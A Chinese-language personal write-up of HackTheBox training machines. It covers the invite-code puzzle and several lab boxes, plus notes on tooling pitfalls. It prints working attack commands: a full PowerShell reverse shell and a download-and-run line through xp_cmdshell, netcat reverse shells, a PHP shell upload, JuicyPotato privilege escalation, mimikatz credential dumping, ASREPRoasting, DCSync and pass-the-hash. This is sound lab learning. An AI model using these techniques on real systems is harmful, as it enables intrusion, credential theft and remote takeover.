HackTheBox Write-up === [TOC] # 動機 參加了台灣好幾場比賽,最後發現決賽出現很多這種 wargame 題,無奈我這方面的經驗只有幫忙弱掃滲透學校的系統,經驗實在不足。 這篇記錄我遇到的坑還有我覺得值得記錄的攻擊方法。 # 前人 Cheatsheet * https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ * https://xz.aliyun.com/t/6498 # 創帳號 創帳號本身就是一題了,按下 join now 後有個畫面 ![](https://i.imgur.com/pIb3aFx.png) 按下 F12 查看 console,它說裡面有個 interesting javascript file ![](https://i.imgur.com/ySYQFLx.png) 查看原始碼發現 /js/inviteapi.min.js ![](https://i.imgur.com/SEr5Ph2.png) 點進去後是一串很被用成單行,拿去 [js beautifier](https://beautifier.io/) ```::javascript //This javascript code looks strange...is it obfuscated??? function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/invite/how/to/generate', success: function(a) { console.log(a) }, error: function(a) { console.log(a) } }) } ``` 送個 POST 過去看看 `curl -X POST https://www.hackthebox.eu/api/invite/how/to/generate` 回傳 `{"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted \u2026 We should probably check the encryption type in order to decrypt it\u2026","0":200}` 顯示 encryption type 是 `ROT13`,也就是 Caesar Cipher 轉 13 次,所以把 `Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/vaivgr\/trarengr` 丟到 [Caesar Cipher 解密網站](https://cryptii.com/pipes/caesar-cipher)就可以解出 `In order to generate the invite code, make a POST request to /api/invite/generate` 最後再 POST 到 /api/invite/generate `curl -X POST https://www.hackthebox.eu/api/invite/generate` 拿到 code `{"success":1,"data":{"code":"QlFFV1EtWUNOSVgtWkpYWVQtVE1EVlgtSVFJVEE=","format":"encoded"},"0":200}` base64 decode 後拿到 invite code `BQEWQ-YCNIX-ZJXYT-TMDVX-IQITA` # Starting Point ## 10.10.10.27 1. 很坑的是它的 VPN 如果連 EU 的,就會發現碰不到 10.10.10.27,討論區也很多人遇到這個狀況,但是改連 USA 的就可以。然後你如果掃 ip,會看到還有其他 ip 開著,也開著一些服務,只是這些是後面的題目。 2. 在 smbclient 這個步驟我用 kali 會找不到任何 disk ``` # smbclient -N -L \\\\10.10.10.27\\ Anonymous login successful Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available ``` 3. 但是用 windows 或 WSL 就可以 ``` $ smbclient -N -L \\\\10.10.10.27\\ Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPC SMB1 disabled -- no workgroup available ``` 4. 在連 mssql 的階段,在 WSL 用 mssqlclient.py 會出錯 ``` $ sudo python3 mssqlclient.py ARCHETYPE\sql_svc@10.10.10.27 -windows-auth Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [*] Encryption required, switching to TLS [-] [('SSL routines', 'state_machine', 'internal error')] ``` 5. 但是在 kali 就正常 ``` # python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL> ``` 6. 在 mssql 可以用 `SELECT IS_SRVROLEMEMBER('sysadmin')`確認是否為 sql 中最高權限 7. 在 mssql 中允許使用 xp_cmdshell ``` EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1 reconfigure; xp_cmdshell "whoami" ``` 8. 看不太懂 powershell 的 reverse shell,但是答案是先寫好 reverse shell 的 payload `$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()` 然後才下載執行 ` xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"`,不太懂為什麼不直接用 powershell 彈一個 shell 回來就好,還要分兩步驟。本來想試試看,後來發現 server 似乎掛了 10. 因為我的 kail 是用 windows 的 docker 建的,所以在 ncat 或 架 http server 時,不能直接在 kali 上架。要在 windows 上安裝 ncat 和 python3 來跑它的那些 listen 指令。另外一個小坑是教學上面的 IP 是 10.10.14.3,但是我拿到的 10.10.14.2。 11. 上去後要查看 powershell 的 history file `$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` 我覺得有點通靈 12. `python3 psexec.py administrator@10.10.10.27` 還是沒辦法在 WSL 上跑,只能用 kali。psexec 是用在 port 139(RPC) 和 445(網路芳鄰) 的工具 才在新手教學,就要先連 smb 拿到 mssql conf 檔案,然後透過 mssql 的 xp_cmdshell 跑 reverse shell,最後用 smb 連上 admin 權限取得 flag。 ## 10.10.10.28 1. 燈入頁面可以看網頁原始碼的註解或是用爬蟲直接掃。登入密碼是上一題的 admin 的密碼,帳號就 admin 2. 上傳檔案我想說用 curl 來玩玩看,還有我是用這個 [php reverse shell](https://github.com/pentestmonkey/php-reverse-shell) 不是用 parrot os 的 ``` curl -v -X POST "10.10.10.28/cdn-cgi/login/admin.php?content=uploads&action=upload" --cookie "user=86575;role=admin" -F "fileToUpload=@php-reverse-shell.php" ``` 3. 拿到 reverse shell 原來還要打 `SHELL=/bin/bash script -q /dev/null` 才會變成 terminal 的 shell,不然直接 `su robert` 會噴 `su: must be run from a terminal`,以前拿到 shell 都不知道要打這個 4. 原來連這個 bugtracker 使用者都會用到,還有個有漏洞的 binary 是用他的 group 來找,這有點通靈 5. 最後拿到 root,.config 裡面的 filezilla 中的檔案是空的......這 server 是共用的吧 ## 10.10.10.46 1. fcrackzip 的字典用法要接 -p 代表字串字典,-u 是 no verbose,`fcrackzip -u -D -p ~/tools/rockyou.txt /tmp/backup.zip`。答案是用 `zip2john backup.zip > hash` 再用 john 去爆 `john hash -w=rockyou.txt` 2. 網站密碼的 hash 我用 hashcat 爆 `hashcat -a 0 -m 0 test ~/tools/rockyou.txt` 3. USA 的 database 似乎被不明人士刪掉了,導致我在解的時候一筆資料都沒有,也沒辦法 sqlmap,所以後來換 EU 的。話說原來 sqlmap 的 --os-shell 就可以彈 shell 回來 4. 要用 `sudo -l` 查看使用者能用的 sudo 指令,這套路還沒見過 5. vi 或 vim 中都可以用 `:!/bin/bash` 來獲得 vi, vim 同等的權限的 shell 6. 拿到 reverse shell,如果是 web server 就去 /var/www/html 找原始碼中的 credential ## 10.10.10.29 1. Server 的 Wordpress 被玩壞啦 2. metasploit 的 wp_admin_shell_upload ``` msfconsole msf > use exploit/unix/webapp/wp_admin_shell_upload msf > set PASSWORD P@s5w0rd! msf > set USERNAME admin msf > set TARGETURI /wordpress msf > set RHOSTS 10.10.10.29 msf > run ``` * 如果有 https,RPORT 設 443,SSL 設 true。 * 如果只能用 domain name,VHOST 設 domain name。 * payload 的部分 1. bind 是在 server 創一個 tcp socket 2. reverse 是在 client 監聽一個 port,如果是 reverse 的,要選可以設定 LHOST 和 LPORT 的,不然 kali 放在虛擬機中的 docker 裡面根本戳不進去 3. 這個 case 來說,用 php/reverse_php 可以設 LHOST 3. 原來在 metasploit 中可以用 `lcd` 切換 local 路徑,`upload` 上傳 local 檔案,`execute -f` 執行 。有個麻煩的點我的 kali 在 docker 裡面,這樣要 reverse shell 會進不來,所以用了 [windows metasploit](https://www.fujieace.com/metasploit/windows.html) 4. [nc.exe 載點](https://eternallybored.org/misc/netcat/),然後只要執行 `nc -e cmd.exe 10.10.14.8 44444` 就好,但是在 metasploit 卻要執行 `execute -f nc.exe -a "-e cmd.exe 10.10.14.11 4445"`,manual 也沒說 -a 是什麼 5. Windows Server 2016 OS, which is vulnerable to the [Rotten Potato exploit](https://github.com/ohpe/juicy-potato) 6. `echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.11 4446 > shell.bat`,這就只是 reverse shell 的檔案,然後用 juicy-potato 提權後並執行那個 reverse shell `js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\plugins\aEtotVzNWL\shell7.bat -l 1337`,這邊有個**巨坑**,就是 -p 後的 program 一定要 full path ``` JuicyPotato v0.1 Mandatory args: -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both -p <program>: program to launch -l <port>: COM server listen port Optional args: -m <ip>: COM server listen address (default 127.0.0.1) -a <argument>: command line argument to pass to program (default NULL) -k <ip>: RPC server ip address (default 127.0.0.1) -n <port>: RPC server listen port (default 135) -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) -z only test CLSID and print token's user ``` 7. [mimikatz](https://github.com/gentilkiwi/mimikatz) 可以用來找出登入使用者 cache 的密碼,[Windows Server 2008 R2 以上的版本預設不能用](https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADsekurlsa-wdigest%E7%9A%84%E5%AE%9E%E7%8E%B0/),但是 vault, lsadump, crypto, kerberos 還是有些可以用的,例如 vpn 的密碼、docker 密碼、使用過的 rdp 密碼。然後 [LaZagne](https://github.com/ethicalhackeragnidhra/LaZagne) 比較像是用來 dump 應用程式的密碼 ``` privilege::debug sekurlsa::logonpasswords ``` ## 10.10.10.30 1. masscan 比 nmap 快,`masscan -p 1-65535 10.10.10.30 --rate=1000`,雖然還是 nmap -F 更快,只是不能掃完全部的 port 2. 用 `bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30` 拿到 json,丟到 [bloodhound](https://github.com/BloodHoundAD/BloodHound/releases) 分析。但是如果是 Windows,要先下載 [Neo4j](https://neo4j.com/download-center/#community) ![](https://i.imgur.com/HNvIrNq.png) 3. [ASREPRoasting](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) 概念大致上是因為沒有 kerberos preauth,所以攻擊者可以送 AS-REQ 給使用者。可以用 [GetNPUsers.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) 做到 `GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30` 4. 然後用 john 解 hash `john hash --wordlist=~/tools/rockyou.txt` 5. 所以我們可以假裝 svc_bes 去請求服務 `evil-winrm -i 10.10.10.30 -u svc_bes -p Sheffield19` 6. [DCSync attack](https://stealthbits.com/blog/what-is-dcsync-an-introduction/) 是在有 DC 的權限後,可以 request 使用者的 password hash。可以用 [secretdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) 達到 `secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30` 7. [NTLM](https://en.wikipedia.org/wiki/NT_LAN_Manager) 是 microsoft 的一個 security protocol,可以用 [PtH attack](https://attack.stealthbits.com/pass-the-hash-attack-explained) 只要 hash 就能取得權限 `psexec.py megacorp.local/administrator@10.10.10.30 -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18`。